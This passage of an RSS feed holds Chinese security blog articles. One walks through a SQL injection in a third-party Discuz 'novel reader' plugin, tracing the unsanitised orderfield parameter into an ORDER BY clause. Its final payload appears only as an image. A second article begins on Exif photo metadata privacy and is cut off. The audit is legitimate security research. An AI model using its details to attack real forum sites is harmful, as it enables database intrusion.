51);">/</span><span style="color: rgb(51, 51, 51);">管理模块，以及可在后台插件列表页增添一个远程链接</span><span style="color: rgb(51, 51, 51);">(X3.1</span><span style="color: rgb(51, 51, 51);">新增</span><span style="color: rgb(51, 51, 51);">)</span><span style="color: rgb(51, 51, 51);">。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><strong><span style="color: rgb(51, 51, 51);">程序脚本：</span></strong><span style="color: rgb(51, 51, 51);">允许插件设置一个包含页面嵌入脚本的模块，该模块可用于在普通电脑及移动端访问的页面显示。模块文件名指派为</span><span style="color: rgb(51, 51, 51);"> “source/plugin/</span><span style="color: rgb(51, 51, 51);">插件目录</span><span style="color: rgb(51, 51, 51);">/</span><span style="color: rgb(51, 51, 51);">插件模块名</span><span style="color: rgb(51, 51, 51);">.class.php”</span><span style="color: rgb(51, 51, 51);">，以及设置一个特殊主题脚本的模块，模块文件名指派为</span><span style="color: rgb(51, 51, 51);">“source/plugin/</span><span style="color: rgb(51, 51, 51);">插件目录</span><span style="color: rgb(51, 51, 51);">/</span><span style="color: rgb(51, 51, 51);">插件模块名</span><span style="color: rgb(51, 51, 51);">.class.php”</span><span style="color: rgb(51, 51, 51);">。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">可以为每个模块设置不同的使用等级，例如设置为</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">超级版主</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">，则超级版主及更高的管理者可以使用此模块。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">扩展项目模块可以在社区的特定位置扩展出新的功能，通常用于扩展新的设置项目。项目的脚本文件以</span><span style="color: rgb(51, 51, 51);"> .inc.php </span><span style="color: rgb(51, 51, 51);">结尾（如</span><span style="color: rgb(51, 51, 51);"> test.inc.php</span><span style="color: rgb(51, 51, 51);">），模版为固定文件名，位于插件目录的</span><span style="color: rgb(51, 51, 51);"> template/ </span><span style="color: rgb(51, 51, 51);">子目录中，文件名与脚本名同名（如</span><span style="color: rgb(51, 51, 51);"> test.htm</span><span style="color: rgb(51, 51, 51);">），扩展名为</span><span style="color: rgb(51, 51, 51);"> .htm</span><span style="color: rgb(51, 51, 51);">。添加相应的扩展项目模块时，需注明程序模块、菜单名称。例如我们添加个人面板项目，程序模块为</span><span style="color: rgb(51, 51, 51);"> test</span><span style="color: rgb(51, 51, 51);">，菜单名称是</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">测试</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">，当插件启用后，个人面板即家园的设置中会出现</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">测试</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">拓展项目。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">在新插件内核中，通过</span><span style="color: rgb(51, 51, 51);"> plugin.php </span><span style="color: rgb(51, 51, 51);">方式访问的插件可直接通过</span><span style="color: rgb(51, 51, 51);"> plugin.php?id=xxx:yyy </span><span style="color: rgb(51, 51, 51);">方式调用而无需再在后台定义为普通脚本模块，只要</span><span style="color: rgb(51, 51, 51);"> source/plugin/xxx/yyy.inc.php </span><span style="color: rgb(51, 51, 51);">文件存在即可。如果</span><span style="color: rgb(51, 51, 51);"> xxx </span><span style="color: rgb(51, 51, 51);">和</span><span style="color: rgb(51, 51, 51);"> yyy </span><span style="color: rgb(51, 51, 51);">同名，可直接通过</span><span style="color: rgb(51, 51, 51);"> plugin.php?id=xxx </span><span style="color: rgb(51, 51, 51);">方式访问。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"><br/></span></p><p style="margin-top: 16px; margin-bottom: 16px; white-space: normal; background: white;"><strong><span style="font-size: 24px; font-family: SimSun; color: rgb(51, 51, 51);">结合实例讲解</span></strong><strong><span style="font-size: 24px; color: rgb(51, 51, 51);">Discuz</span></strong><strong><span style="font-size: 24px; color: rgb(51, 51, 51);">插件安全</span></strong></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">我们知道</span><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">插件主要分为</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">程序链接</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">、</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">扩展项目</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">、</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">程序脚本</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">三类。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">这里我们主要着重分析</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">程序脚本</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">，因为大部分跟数据库相关及逻辑相关的代码仅能在这种插件类型中存在，存在安全问题的可能性最大。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">这里我们以一款名为</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">小说阅读器</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">的插件为例，深入了解</span><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">插件机制及漏洞挖掘。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">首先我们安装并启用该插件：</span><span style="color: rgb(51, 51, 51);">￼</span></p><p style="white-space: normal;"><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.36328125" src="https://wechat2rss.xlab.app/img-proxy/?k=21debe45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACfZlCvEb3rsiaNq35KCpPDRibzxbsBX5dmNotYcpGJBmgQBHXNwYDuOYQ%2F0%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><br/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">随后首页多出了一个</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">小说主页</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">的导航：</span></p><p style="white-space: normal;"><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.559375" src="https://wechat2rss.xlab.app/img-proxy/?k=778ca64e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACCdia9U8SGGJhR1dmQaicOQ8L2uxGjCAf8cxia9r4Y3nLtgPXl2EtYrDWw%2F0%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span><br/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">我们可以看到当</span><span style="color: rgb(51, 51, 51);">前的url是plugin.php?id=xxx:xxx上面我们已经讲过这种格式的页面访问到的最终文件在插件目录下xxx.inc.php文件中。</span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">那么这个“小说主页”的相关文件就在jameson_read目录下的readmain.inc.php中：</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">我们查找并打开相关文件：</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.91953125" src="https://wechat2rss.xlab.app/img-proxy/?k=7b58b35a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACwUF5iah0iaF5R8KiapNgUvyFwkOQkOQ5JjaXNohicecIVFDgQaWYINpqnA%2F0%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">跟我们预想的一样，这个文件果然是存在的。我们来输出些数字然后</span><span style="color: rgb(51, 51, 51);">exit()</span><span style="color: rgb(51, 51, 51);">确认一下我们的想法：</span><span style="color: rgb(51, 51, 51);">￼</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><img data-s="300,640" data-type="jpeg" data-w="802" data-ratio="0.5062344139650873" src="https://wechat2rss.xlab.app/img-proxy/?k=9739a56b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACdthcWa6sO35rPnv1KPQsrnEhpL5H2KYRxtMNuXhNO8Bn4ukn27k3hA%2F0%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">查看页面：</span><span style="color: rgb(51, 51, 51);">￼</span><br/><span style="color: rgb(51, 51, 51);"></span></p><p style="white-space: normal;"><img data-s="300,640" data-type="jpeg" data-w="1186" data-ratio="0.2951096121416526" src="https://wechat2rss.xlab.app/img-proxy/?k=91f28ee3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACVjtcFuDLLibu52kC2Nth5QJyQB2669okaaiaHS1vClw0XVb6A1fXMiaOw%2F0%3Fwx_fmt%3Djpeg"/><span style="color: rgb(51, 51, 51);">OK</span><span style="color: rgb(51, 51, 51);">，现在我们继续来看这个插件的逻辑是怎么样的，是不是有相关的安全问题存在。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">其中第</span><span style="color: rgb(51, 51, 51);">7</span><span style="color: rgb(51, 51, 51);">行：</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><img data-s="300,640" data-type="png" data-w="1132" data-ratio="0.1696113074204947" src="https://wechat2rss.xlab.app/img-proxy/?k=11cf81dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACRjljSKDKEiag7vnTyUW5DjpPd5uiaf3euiaaYs3s9bK2FPpgDs91MCOmA%2F0%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">很明显，从</span><span style="color: rgb(51, 51, 51);">get</span><span style="color: rgb(51, 51, 51);">请</span><span style="color: rgb(51, 51, 51);">求中获取了orderfield赋值给$orderfield并且只使用trim()函数进行了处理，这里明显是有问题的。</span><br/><span style="color: rgb(51, 51, 51);"></span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"><br/></span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">继续往下跟进发现传</span><span style="color: rgb(51, 51, 51);">进了fetch_by_get函数的第3个参数：</span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"><br/></span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span></p><p style="white-space: normal;"><img data-s="300,640" data-type="png" data-w="1822" data-ratio="0.10428100987925357" src="https://wechat2rss.xlab.app/img-proxy/?k=74eb196c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACTLmiadHcwA9M6ibZwvzLINA5czLFMSLvL3OGWMxCNNqicNgl2fR4C6RyA%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span><br/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">继续跟</span><span style="color: rgb(51, 51, 51);">进fetch_by_get函数，文件路径在：/Users/striker/www/discuz3/upload/source/plugin/jameson_read/table/table_jamesonread_books.php第120行：</span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"><br/></span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span></p><p style="white-space: normal;"><img data-s="300,640" data-type="png" data-w="1430" data-ratio="0.17202797202797201" src="https://wechat2rss.xlab.app/img-proxy/?k=413fc26f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACrzBmVuzpnzkLTHic7qUH3MCpeZdHlu0qFZgiaoZ3XSYUcDnYy63hjmGQ%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span><br/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">发现将$orderfield直接传入了Discuz自带的DB::fetch_all函数中执行，我们继续跟进fetch_all函数：</span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"><br/></span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span></p><p style="white-space: normal;"><img data-s="300,640" data-type="png" data-w="1602" data-ratio="0.4019975031210986" src="https://wechat2rss.xlab.app/img-proxy/?k=2893991b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACQVuAXWtGQlM5cccLdkfzb3UZjxUQ9VxeGwPia0VZX79ONwfqDyTFTeQ%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span><br/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">这个函数将</span><span style="color: rgb(51, 51, 51);">sql</span><span style="color: rgb(51, 51, 51);">语句又传入到</span><span style="color: rgb(51, 51, 51);">self::query</span><span style="color: rgb(51, 51, 51);">函数：</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><img data-s="300,640" data-type="png" data-w="1654" data-ratio="0.6614268440145102" src="https://wechat2rss.xlab.app/img-proxy/?k=b5a53b32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccAC0TZmYLf854WojBic1ESCXe1o71Qa1D2Tk33KHaWH4fRsDS8t9DYiatNw%2F0%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">这个函数又调用了</span><span style="color: rgb(51, 51, 51);">self::format()</span><span style="color: rgb(51, 51, 51);">进行格式化语句：</span></p><p style="white-space: normal;"><img data-s="300,640" data-type="png" style="float: right;" data-ratio="0.1881371640407785" data-w="2158" src="https://wechat2rss.xlab.app/img-proxy/?k=eb7ae924&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACGib0DNC4cMF937jg3W37KhJ7Amqj0CAwbICIZEfm3x6ibBOFxJKcvT6w%2F0%3Fwx_fmt%3Dpng"/><span style="color: rgb(51, 51, 51);"></span></p><p style="margin-top: 5px; white-space: normal;"><img data-s="300,640" data-type="png" data-w="2166" data-ratio="0.6251154201292706" src="https://wechat2rss.xlab.app/img-proxy/?k=76a6a957&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACGvTLH5CBHbwUiaret9WWd8VdshkslTM5bsoyRcBPbuMda0pwjhLA9Jw%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"><br/></span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">这个函数首先判断了</span><span style="font-size: 13px; font-family: Consolas; color: rgb(51, 51, 51);">%</span><span style="color: rgb(51, 51, 51);">出现的次数，如果没有出现则扔出错误。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">然后写两个一个</span><span style="color: rgb(51, 51, 51);">while</span><span style="color: rgb(51, 51, 51);">循环来拼接</span><span style="color: rgb(51, 51, 51);">sql</span><span style="color: rgb(51, 51, 51);">语句，查找百分号后面的字母，我们这里的</span><span style="color: rgb(51, 51, 51);">$orderfield</span><span style="color: rgb(51, 51, 51);">传入时是</span><span style="color: rgb(51, 51, 51);">%i</span><span style="color: rgb(51, 51, 51);">所以我们只关注这个分支：</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><img data-s="300,640" data-type="png" data-w="450" data-ratio="0.3288888888888889" src="https://wechat2rss.xlab.app/img-proxy/?k=3a88c157&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACev3CGX10KWNibia5JoPFEFFlsrPkc81f61iaw0ey6K6l5ynhdCia34ZkEg%2F0%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">如果百分号后面是</span><span style="color: rgb(51, 51, 51);">i</span><span style="color: rgb(51, 51, 51);">的话，就直接拼接带入进去，没有进行其他的处理。</span><br/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">最终</span><span style="color: rgb(51, 51, 51);">format</span><span style="color: rgb(51, 51, 51);">函数返回了拼接后的</span><span style="color: rgb(51, 51, 51);">sql</span><span style="color: rgb(51, 51, 51);">语句。</span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">为了验证我们的想法，我们来在返回以后输出一下返回的sql语句，我们提交orderfield为<span style="color: rgb(136, 136, 136);">111select</span>：</span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"><br/></span></p><p style="white-space: normal;"><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.3" src="https://wechat2rss.xlab.app/img-proxy/?k=6088a335&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACxicrxwHbd0hic3X1bGxInOEjtv6wCW2uUxmnpOgCJMFMckianxytz6vQA%2F0%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;"><br/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">最终</span><span style="color: rgb(51, 51, 51);">SQL</span><span style="color: rgb(51, 51, 51);">报错，可以看到我们的数据是带入到</span><span style="color: rgb(51, 51, 51);">SQL</span><span style="color: rgb(51, 51, 51);">查询中了。</span></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">我们</span><span style="color: rgb(51, 51, 51);">可控的注入点</span><span style="color: rgb(51, 51, 51);">是在ORDER BY后面，</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">而且Discuz现在是有一个全局的waf，过滤了一些字符，导致很难进行注入。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">后面有机会再发一篇DiscuzWAF相关的文章吧。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">最终使用如下payload成功注入</span><span style="color: rgb(51, 51, 51);">：</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><img data-s="300,640" data-type="png" data-w="1140" data-ratio="0.13333333333333333" src="https://wechat2rss.xlab.app/img-proxy/?k=d33b9b45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACrYPrEFItLEBDRt37cKPwNxZPtKZJr7vMibAibsS65Agan5rm8biaibnUrg%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.27578125" src="https://wechat2rss.xlab.app/img-proxy/?k=92962901&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACo5DU5VnvbeVibQmqSfwev8n9savfMp7moaVS1139plLm9pSQMMN132w%2F0%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">这里</span><span style="color: rgb(51, 51, 51);">感谢@mLT 以及@雨了个雨 师傅不吝赐教。</span></p><p style="margin-top: 16px; margin-bottom: 16px; white-space: normal; background: white;"><strong><span style="font-size: 24px; font-family: SimSun; color: rgb(51, 51, 51);"><br/></span></strong></p><p style="margin-top: 16px; margin-bottom: 16px; white-space: normal; background: white;"><strong><span style="font-size: 24px; font-family: SimSun; color: rgb(51, 51, 51);">结语</span></strong></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">是当下比较火的一个论坛社区程序，很多的网站，尤其是某些建站公司为了完成目标，肆意使用各种插件，甚至是没有经过官方审核的第三方插件（当然，经过审核的也会出现安全问题），导致原本很安全的</span><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">变得脆弱。</span></p><p style="margin-bottom: auto; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">使用第三方的插件，还是找时间多</span><span style="color: rgb(51, 51, 51);">review code</span><span style="color: rgb(51, 51, 51);">比较好呀。</span></p><p style="white-space: normal;"> </p><p><br/></p><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p><br/></p><p style="white-space: normal;">                                               </p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p>



<p><a href="2247483741">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=87fe6788&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483741%26idx%3D1%26sn%3Dde7e46e5c098459ac6bb5acc393bb651%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 20 Feb 2017 01:58:00 +0800</pubDate>
    </item>
    <item>
      <title>藏在照片里的小秘密—Exif元数据</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483696&amp;idx=1&amp;sn=8a45db2cd769da4b6bc538397b3ecadd</link>
      <description>“诶？这张照片是谁手机拍的？”“我的啊”&#xA;“骗人！这张照片里元数据记录的厂商和你现在这个不一样！是不是隔壁小妖精的？”&#xA; “是用她手机拍的，听我解释啊~“</description>
      <content:encoded><![CDATA[<p>
<span>Jess_喵</span> <span>2017-02-03 22:13</span> <span style="display: inline-block;"></span>
</p>

<p>“诶？这张照片是谁手机拍的？”“我的啊”</p>
<p>“骗人！这张照片里元数据记录的厂商和你现在这个不一样！是不是隔壁小妖精的？”</p>
<p> “是用她手机拍的，听我解释啊~“</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d0c7de43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayzia0nxoRibnkxFTfWmankjldWwH16RZ3AuwibFO8ibYklOEsicO4yuAy762efMTdf0yHNXZmlVwJshogQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; margin-top: 5px; padding: 10px; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;" donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)"><p><br/></p><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="color: rgb(110, 109, 109); font-size: 16px;"><span style="color: rgb(110, 109, 109); float: left; margin-left: 35px; font-size: 24px;">↗</span> 点击上方<span style="font-size: 14px; color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><section label="Copyright © 2016 playhudong All Rights Reserved." style="
width:100%;
margin-top:1em;" donone="shifuMouseDownPayStyle(&#39;shifu_t_048&#39;)"><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
"></section><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
opacity: 0.7;
margin-left: -7px;
"></section><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
opacity: 0.5;
margin-left: -7px;
"></section><p style="
display: inline-block;
margin-left: 5px;
"><strong><span style="font-size: 16px;">Exif是什么？</span></strong></p></section><p><br/></p><p><span style="font-size: 16px;">Exif的意思是“可交换图像文件“，在jpeg的格式头部插入了数码照片的信息，包括拍摄参数，如光圈、快门、焦距和日期时间、拍摄设备的品牌、型号等，以及缩略图和其他信息。</span></p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." style="
width:100%;
margin-top:1em;" donone="shifuMouseDownPayStyle(&#39;shifu_t_048&#39;)"><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
"></section><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
opacity: 0.7;
margin-left: -7px;
"></section><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
opacity: 0.5;
margin-left: -7px;
"></section><p style="
display: inline-block;
margin-left: 5px;
"><strong><span style="font-size: 16px;">Exif有什么卵用？</span></strong></p></section><p><br/></p><p><span style="font-size: 16px;">起初记录这些信息是为了帮助摄影爱好者分析自己在不同器材，不同环境和不同设备设置下拍摄的效果，帮助他们不断改进并提高自己的水平。<br/></span></p><p><br/></p><p><span style="font-size: 16px;">通过此数据还可以协助处理图片，防止失真。一些地方也会使用它做原图检测，因为在编辑软件中修改后，一些技术信息会丢失，同时Exif也会保存历史记录。</span></p><p><br/></p><p><span style="font-size: 16px;">可是，另一方面，由于Exif记录的元数据信息非常丰富，会暴露一些你不想让别人知道的个人的信息，比如:<br/></span></p><p><span style="font-size: 16px;">你拍照使用的设备，是佳能？佳能的某个型号？还是某款手机？</span></p><p><span style="font-size: 16px;">你拍摄照片的地理位置（GPS定位）。</span></p><p><span style="font-size: 16px;">你拍摄照片的时间。</span></p><p><span style="font-size: 16px;">你是否在软件中修过图。</span></p><p><span style="font-size: 16px;">...</span></p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="700" data-ratio="1" 